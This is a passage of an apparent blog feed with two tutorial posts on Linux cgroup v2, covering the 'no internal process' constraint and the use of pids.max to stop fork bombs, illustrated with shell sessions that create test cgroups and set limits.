&lt;p&gt;In contrast with &lt;code&gt;test/cg1/&lt;/code&gt; we didn’t have trouble enabling on &lt;code&gt;test/cg2/&lt;/code&gt;’s and &lt;code&gt;test/cg3/&lt;/code&gt;’s children because in the first case &lt;code&gt;test/cg2/&lt;/code&gt; is empty and in the second case is the child &lt;code&gt;test/cg3/cg3_1/&lt;/code&gt; that it is empty.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+cpu&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg2/cgroup.subtree_control

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+cpu&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg3/cgroup.subtree_control
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+cpu&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg2/cg2_1/cgroup.subtree_control

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+cpu&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg3/cg3_1/cgroup.subtree_control
&amp;lt;...&amp;gt;write&lt;span class="w"&gt; &lt;/span&gt;error:&lt;span class="w"&gt; &lt;/span&gt;Operation&lt;span class="w"&gt; &lt;/span&gt;not&lt;span class="w"&gt; &lt;/span&gt;supported
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="flow-diagram-for-enabling-a-controller-in-a-subtree"&gt;Flow diagram for enabling a controller in a subtree&lt;/h3&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Diagram of the flow for enabling a controller on a subtree and the possible outcomes that summarizes all the talked so far.
&lt;br /&gt;&lt;br /&gt;
This is a sketch and by no means it is a fully specification.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/enable-controller-in-no-internal-process.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="no-internal-process-constraint-from-a-controllers-perspective"&gt;&lt;em&gt;No internal process&lt;/em&gt; constraint, from a controller’s perspective&lt;/h2&gt;
&lt;p&gt;Consider the scenario seen earlier:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/testing_with_proc_in_cg1_simple.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Let’s see it from the &lt;code&gt;+cpu&lt;/code&gt; controller’s perspective.&lt;/p&gt;
&lt;p&gt;You are at &lt;code&gt;test/cg1/&lt;/code&gt; with some processes there. The cgroup has the controller’s files to control/distribute the resources (&lt;code&gt;cpu.max&lt;/code&gt; in this case).&lt;/p&gt;
&lt;p&gt;It is easy to see how &lt;code&gt;cpu.max&lt;/code&gt; can be interpreted: just control the CPU usage among &lt;code&gt;p1&lt;/code&gt; and &lt;code&gt;p2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But what would you if a process is added to &lt;code&gt;test/cg1/cg1_1/&lt;/code&gt;. The problem is not that you have another process, the problem is that &lt;code&gt;test/cg1/cg1_1/&lt;/code&gt; also has its own control file.&lt;/p&gt;
&lt;p&gt;How would you interpret that control file in &lt;code&gt;test/cg1/cg1_1/&lt;/code&gt; and at the same time the file in &lt;code&gt;test/cg1/&lt;/code&gt; and distribute the CPU among the processes of both cgroups?&lt;/p&gt;
&lt;p&gt;It is not easy.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;v1&lt;/code&gt; this situation added a lot of complexity to the controllers and eventually added inconsistencies between them about how to treat these cases.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;v2&lt;/code&gt; these cases are just forbidden: you cannot have processes in one cgroup and in its subtree &lt;em&gt;and at the same time&lt;/em&gt; have a control file in the cgroup and another in the subtree.&lt;/p&gt;
&lt;p&gt;From the controller’s perspective, in term of the location of its control file, all the processes are at the &lt;em&gt;leaves of its domain&lt;/em&gt;. Even if the processes are in different sub cgroups, these sub cgroups &lt;em&gt;will not distribute the resource further&lt;/em&gt; (they don’t have a control file to do it!).&lt;/p&gt;
&lt;h2 id="final-comments"&gt;Final comments&lt;/h2&gt;
&lt;p&gt;We grasped how &lt;code&gt;cgroup&lt;/code&gt; works, how it is &lt;a href="/articles/2022/04/23/Linux-Control-Group-Hierarchical-Organization.html"&gt;organized&lt;/a&gt; and how the resources are &lt;a href="/articles/2022/04/24/Linux-Control-Group-Resource-Distribution.html"&gt;distributed&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But I left a lot of things outside: how &lt;code&gt;cgroup&lt;/code&gt; security works, which controllers are how they work, how &lt;code&gt;cgroup&lt;/code&gt; works inside a container and probably a few bits more.&lt;/p&gt;
&lt;p&gt;Happy research!&lt;/p&gt;
&lt;!--
Remove any constraint on cpu
Move our shell(s) to the root
$ echo $$ &gt; /sys/fs/cgroup/cgroup.procs                     # byexample: +pass -skip

Kill any subprocess
$ kill -9 $(jobs -p) &amp;&amp; wait                                # byexample: -skip +pass
$ sleep 5                                                   # byexample: -skip +pass +timeout=8

$ echo '-cpu' &gt; /sys/fs/cgroup/test/cg1/cg1_1/cgroup.subtree_control           # byexample: -skip +pass
$ echo '-cpu' &gt; /sys/fs/cgroup/test/cg1/cg1_2/cgroup.subtree_control           # byexample: -skip +pass
$ echo '-cpu' &gt; /sys/fs/cgroup/test/cg2/cg2_1/cgroup.subtree_control           # byexample: -skip +pass
$ echo '-cpu' &gt; /sys/fs/cgroup/test/cg2/cg2_2/cgroup.subtree_control           # byexample: -skip +pass
$ echo '-cpu' &gt; /sys/fs/cgroup/test/cg1/cgroup.subtree_control           # byexample: -skip +pass
$ echo '-cpu' &gt; /sys/fs/cgroup/test/cg2/cgroup.subtree_control           # byexample: -skip +pass
$ echo '-cpu' &gt; /sys/fs/cgroup/test/cgroup.subtree_control           # byexample: -skip +pass

Delete recursively every cgroup (folder) from the leaves to the
root. All of them should be empty by now
$ cd /sys/fs/cgroup/                                        # byexample: +pass -skip
$ rmdir $(find /sys/fs/cgroup/test/ -type d | sort -r)   # byexample: +pass -skip
--&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2022/04/27/Linux-Control-Group-No-Internal-Process-Constraint.html" rel="alternate" type="text/html" title="Control Group - No Internal Process Constraint"/>
    <category term="linux" label="linux"/>
    <category term="kernel" label="kernel"/>
    <category term="cgroup" label="cgroup"/>
    <published>2022-04-27T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2022/04/24/Linux-Control-Group-Resource-Distribution.html</id>
    <title>Control Group - Resource Distribution</title>
    <updated>2022-04-24T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;&lt;label for='ClByZXZpb3VzIHBvc3Q6IFtoaWVyYXJjaGljYWwgb3JnYW5pemF0aW9uXSgvYXJ0aWNsZXMvMjAyMi8wNC8yMy9MaW51eC1Db250cm9sLUdyb3VwLUhpZXJhcmNoaWNhbC1Pcmdhbml6YXRpb24uaHRtbCkKPGJyIC8+Ck5leHQgY29taW5nIHBvc3Q6IFtubyBpbnRlcm5hbCBwcm9jZXNzIGNvbnN0cmFpbnRdKC9hcnRpY2xlcy8yMDIyLzA0LzI3L0xpbnV4LUNvbnRyb2wtR3JvdXAtTm8tSW50ZXJuYWwtUHJvY2Vzcy1Db25zdHJhaW50Lmh0bWwpCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClByZXZpb3VzIHBvc3Q6IFtoaWVyYXJjaGljYWwgb3JnYW5pemF0aW9uXSgvYXJ0aWNsZXMvMjAyMi8wNC8yMy9MaW51eC1Db250cm9sLUdyb3VwLUhpZXJhcmNoaWNhbC1Pcmdhbml6YXRpb24uaHRtbCkKPGJyIC8+Ck5leHQgY29taW5nIHBvc3Q6IFtubyBpbnRlcm5hbCBwcm9jZXNzIGNvbnN0cmFpbnRdKC9hcnRpY2xlcy8yMDIyLzA0LzI3L0xpbnV4LUNvbnRyb2wtR3JvdXAtTm8tSW50ZXJuYWwtUHJvY2Vzcy1Db25zdHJhaW50Lmh0bWwpCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Previous post: &lt;a href="/articles/2022/04/23/Linux-Control-Group-Hierarchical-Organization.html"&gt;hierarchical organization&lt;/a&gt; &lt;br /&gt; Next coming post: &lt;a href="/articles/2022/04/27/Linux-Control-Group-No-Internal-Process-Constraint.html"&gt;no internal process constraint&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;A system has hundreds of resources that process may use (and exhaust!): controlling them it is not trivial and requires a precise intervention by part of the kernel.&lt;/p&gt;
&lt;p&gt;We’ll use the simplest resource to understand: the amount of process ids or pids.&lt;/p&gt;
&lt;p&gt;While CPU and memory are the most common resources that can be exhausted, the process id &lt;em&gt;space&lt;/em&gt; is not infinite: it is an integer typically in the range of 1 to \(2^{16}\).&lt;/p&gt;
&lt;p&gt;A malicious or really-bugged program can trivially consume all the available pids spawning thousands of processes and threads &lt;em&gt;long before&lt;/em&gt; other resource get exhausted. This the so called &lt;em&gt;fork bomb&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Once you run out of pids, no other process can be started leaving the system unusable.&lt;/p&gt;
&lt;p&gt;In this post we will explore the rules of resources distribution in a &lt;code&gt;cgroup&lt;/code&gt; hierarchy and in particular how to avoid fork bombs to explode. &lt;!--more--&gt;&lt;/p&gt;
&lt;!--
$ test -d /sys/fs/cgroup/test &amp;&amp; echo "cgroup test/ already created!"     # byexample: +fail-fast
--&gt;
&lt;h2 id="limit-the-resource-pid-count-on-a-cgroup"&gt;Limit the resource (pid count) on a cgroup&lt;/h2&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3Rpbmdfc2hlbGwuc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD5gY2dyb3VwYCBoaWVyYXJjaHkgYWZ0ZXIgYWRkaW5nIHRoZSBgc2hlbGxgIHByb2Nlc3MgdG8gYHRlc3QvYC4KPGJyIC8+CkJveGVzIHJlcHJlc2VudCBjZ3JvdXBzIGFuZCB0aGUgYXJyb3dzIGJldHdlZW4gdGhlIG5lc3RpbmcgKGhlcmUsIGB0ZXN0L2AgaXMKaW5zaWRlIG9mIHRoZSByb290IGAvYCBjZ3JvdXApLiBDaXJjbGVzIGFyZSBwcm9jZXNzZXMgYW5kIHRoZSBzbWFsbCBwdXJwbGUKZG90cyBhcmUgdGhlIHJlc291cmNlIGNvbnRyb2xsZXIncyBzZXR0aW5nICh0aGUgbGltaXQgb2YgcGlkcyBpbiB0aGlzCmNhc2UpLm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3Rpbmdfc2hlbGwuc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD5gY2dyb3VwYCBoaWVyYXJjaHkgYWZ0ZXIgYWRkaW5nIHRoZSBgc2hlbGxgIHByb2Nlc3MgdG8gYHRlc3QvYC4KPGJyIC8+CkJveGVzIHJlcHJlc2VudCBjZ3JvdXBzIGFuZCB0aGUgYXJyb3dzIGJldHdlZW4gdGhlIG5lc3RpbmcgKGhlcmUsIGB0ZXN0L2AgaXMKaW5zaWRlIG9mIHRoZSByb290IGAvYCBjZ3JvdXApLiBDaXJjbGVzIGFyZSBwcm9jZXNzZXMgYW5kIHRoZSBzbWFsbCBwdXJwbGUKZG90cyBhcmUgdGhlIHJlc291cmNlIGNvbnRyb2xsZXIncyBzZXR0aW5nICh0aGUgbGltaXQgb2YgcGlkcyBpbiB0aGlzCmNhc2UpLm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/testing_shell.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;code&gt;cgroup&lt;/code&gt; hierarchy after adding the &lt;code&gt;shell&lt;/code&gt; process to &lt;code&gt;test/&lt;/code&gt;. &lt;br /&gt; Boxes represent cgroups and the arrows between the nesting (here, &lt;code&gt;test/&lt;/code&gt; is inside of the root &lt;code&gt;/&lt;/code&gt; cgroup). Circles are processes and the small purple dots are the resource controller’s setting (the limit of pids in this case).
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Let’s create a &lt;code&gt;test/&lt;/code&gt; cgroup:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/sys/fs/cgroup
$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Let’s add ourselves to &lt;code&gt;test/&lt;/code&gt;: we add the &lt;em&gt;shell process&lt;/em&gt; to &lt;code&gt;test/&lt;/code&gt; by adding its process id into &lt;code&gt;cgroup.procs&lt;/code&gt; file.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cgroup.procs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now we can query how many pids are being used in the cgroup. The expected count is 2: one for the shell that we added and other for the &lt;code&gt;cat&lt;/code&gt; program that it is reading &lt;code&gt;pids.current&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/pids.current
&lt;span class="m"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3Rpbmdfc2hlbGxfZWNob19jYXQuc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD5gY2dyb3VwYCBoaWVyYXJjaHkgZHVyaW5nIHRoZSBleGVjdXRpb24gb2YgYGVjaG8gIkhlbGxvIiB8IGNhdGAuCkJvdGggYGVjaG9gIGFuZCBgY2F0YCBhcmUgY2hpbGRyZW4gb2YgYHNoZWxsYCBzbyB0aGV5IGluaGVyaXQKdGhlIHBhcmVudCdzIGNncm91cCBieSBkZWZhdWx0IGJ1dCBkdWUgdGhlIGxpbWl0IG9uIGBwaWRzIOKJpCAyYCwKdGhlIHNwYXduIG9mIGBjYXRgIGZhaWxzICh0aGUgYGZvcmtgIHN5c2NhbGwgZmFpbHMpIGFuZCB0aGUgcHJvY2VzcwpuZXZlciBnZXRzIGFsaXZlLm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3Rpbmdfc2hlbGxfZWNob19jYXQuc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD5gY2dyb3VwYCBoaWVyYXJjaHkgZHVyaW5nIHRoZSBleGVjdXRpb24gb2YgYGVjaG8gIkhlbGxvIiB8IGNhdGAuCkJvdGggYGVjaG9gIGFuZCBgY2F0YCBhcmUgY2hpbGRyZW4gb2YgYHNoZWxsYCBzbyB0aGV5IGluaGVyaXQKdGhlIHBhcmVudCdzIGNncm91cCBieSBkZWZhdWx0IGJ1dCBkdWUgdGhlIGxpbWl0IG9uIGBwaWRzIOKJpCAyYCwKdGhlIHNwYXduIG9mIGBjYXRgIGZhaWxzICh0aGUgYGZvcmtgIHN5c2NhbGwgZmFpbHMpIGFuZCB0aGUgcHJvY2VzcwpuZXZlciBnZXRzIGFsaXZlLm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/testing_shell_echo_cat.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;code&gt;cgroup&lt;/code&gt; hierarchy during the execution of &lt;code&gt;echo "Hello" | cat&lt;/code&gt;. Both &lt;code&gt;echo&lt;/code&gt; and &lt;code&gt;cat&lt;/code&gt; are children of &lt;code&gt;shell&lt;/code&gt; so they inherit the parent’s cgroup by default but due the limit on &lt;code&gt;pids ≤ 2&lt;/code&gt;, the spawn of &lt;code&gt;cat&lt;/code&gt; fails (the &lt;code&gt;fork&lt;/code&gt; syscall fails) and the process never gets alive.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;+pids&lt;/code&gt; controller allows us to set a maximum: once reached calls to &lt;code&gt;fork&lt;/code&gt; or &lt;code&gt;clone&lt;/code&gt; will fail because they will not be able to reserve another pid.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/pids.max

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Hello&amp;quot;&lt;/span&gt;
Hello

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Hello&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +timeout=30&lt;/span&gt;
&amp;lt;...&amp;gt;fork:&lt;span class="w"&gt; &lt;/span&gt;Resource&lt;span class="w"&gt; &lt;/span&gt;temporarily&lt;span class="w"&gt; &lt;/span&gt;unavailable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="resource-distribution-over-a-subtree"&gt;Resource distribution over a subtree&lt;/h2&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3Rpbmdfc2hlbGxfY2cxX2NnMi5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0Pk5vdGljZSBob3cgYHRlc3QvY2cxL2AgYW5kIGB0ZXN0L2NnMi9gIGFyZSAoc3ViKSBjZ3JvdXBzIG9mIGB0ZXN0L2AubWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3Rpbmdfc2hlbGxfY2cxX2NnMi5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0Pk5vdGljZSBob3cgYHRlc3QvY2cxL2AgYW5kIGB0ZXN0L2NnMi9gIGFyZSAoc3ViKSBjZ3JvdXBzIG9mIGB0ZXN0L2AubWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/testing_shell_cg1_cg2.svg' type='image/svg+xml'&gt;&lt;/object&gt;
Notice how &lt;code&gt;test/cg1/&lt;/code&gt; and &lt;code&gt;test/cg2/&lt;/code&gt; are (sub) cgroups of &lt;code&gt;test/&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We can divide &lt;code&gt;test/&lt;/code&gt; in more sub cgroups however there are no &lt;code&gt;pids.max&lt;/code&gt; there by default:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;test/cg1
$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;test/cg2

$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-1&lt;span class="w"&gt; &lt;/span&gt;test/cg1/pids*
&amp;lt;...&amp;gt;No&lt;span class="w"&gt; &lt;/span&gt;such&lt;span class="w"&gt; &lt;/span&gt;file&lt;span class="w"&gt; &lt;/span&gt;or&lt;span class="w"&gt; &lt;/span&gt;directory

$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-1&lt;span class="w"&gt; &lt;/span&gt;test/cg2/pids*
&amp;lt;...&amp;gt;No&lt;span class="w"&gt; &lt;/span&gt;such&lt;span class="w"&gt; &lt;/span&gt;file&lt;span class="w"&gt; &lt;/span&gt;or&lt;span class="w"&gt; &lt;/span&gt;directory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Each new (sub) cgroup will &lt;em&gt;not&lt;/em&gt; inherit the controllers of its parent. The parent must explicitly select which controllers its children will administrate.&lt;/p&gt;
&lt;p&gt;Nevertheless, the sub cgroups are subject to the limits of the controller.&lt;/p&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3RpbmdfY2cxX3NoZWxsX2VjaG9fY2F0X2NnMl9saW1pdGVkX2J5X3BhcmVudC5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PkRlc3BpdGUgK3BpZHMgbm90IGJlIGVuYWJsZWQgb24gdGVzdC9jZzEvIHRoZSBsaW1pdCBpbXBvc2VkIGJ5IHRlc3QvCipzdGlsbCBhcHBsaWVzKi4KPGJyIC8+Ck5vdGljZSBhbHNvIHRoYXQgd3JpdGluZyBzaGVsbCdzIHBpZCB0byBgdGVzdC9jZzEvY2dyb3VwLnByb2NzYApsaXRlcmFsbHkgbW92ZWQgaXQgZnJvbSBgdGVzdC9gIHRvIGB0ZXN0L2NnMS9gOiAqZWFjaCBwcm9jZXNzIGJlbG9uZ3MKdG8gb25lIGFuZCBvbmx5IG9uZSBjZ3JvdXAqLm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3RpbmdfY2cxX3NoZWxsX2VjaG9fY2F0X2NnMl9saW1pdGVkX2J5X3BhcmVudC5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PkRlc3BpdGUgK3BpZHMgbm90IGJlIGVuYWJsZWQgb24gdGVzdC9jZzEvIHRoZSBsaW1pdCBpbXBvc2VkIGJ5IHRlc3QvCipzdGlsbCBhcHBsaWVzKi4KPGJyIC8+Ck5vdGljZSBhbHNvIHRoYXQgd3JpdGluZyBzaGVsbCdzIHBpZCB0byBgdGVzdC9jZzEvY2dyb3VwLnByb2NzYApsaXRlcmFsbHkgbW92ZWQgaXQgZnJvbSBgdGVzdC9gIHRvIGB0ZXN0L2NnMS9gOiAqZWFjaCBwcm9jZXNzIGJlbG9uZ3MKdG8gb25lIGFuZCBvbmx5IG9uZSBjZ3JvdXAqLm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/testing_cg1_shell_echo_cat_cg2_limited_by_parent.svg' type='image/svg+xml'&gt;&lt;/object&gt;
Despite +pids not be enabled on test/cg1/ the limit imposed by test/ &lt;em&gt;still applies&lt;/em&gt;. &lt;br /&gt; Notice also that writing shell’s pid to &lt;code&gt;test/cg1/cgroup.procs&lt;/code&gt; literally moved it from &lt;code&gt;test/&lt;/code&gt; to &lt;code&gt;test/cg1/&lt;/code&gt;: &lt;em&gt;each process belongs to one and only one cgroup&lt;/em&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;To prove this, let’s move our shell to &lt;code&gt;test/cg1/&lt;/code&gt; and try to spawn more than 2 processes there.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/cgroup.procs
$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cgroup.procs

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# the limit of 2 processes on test/ applies to test/&amp;#39;s children too&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Hello&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +timeout=30&lt;/span&gt;
&amp;lt;...&amp;gt;fork:&lt;span class="w"&gt; &lt;/span&gt;Resource&lt;span class="w"&gt; &lt;/span&gt;temporarily&lt;span class="w"&gt; &lt;/span&gt;unavailable
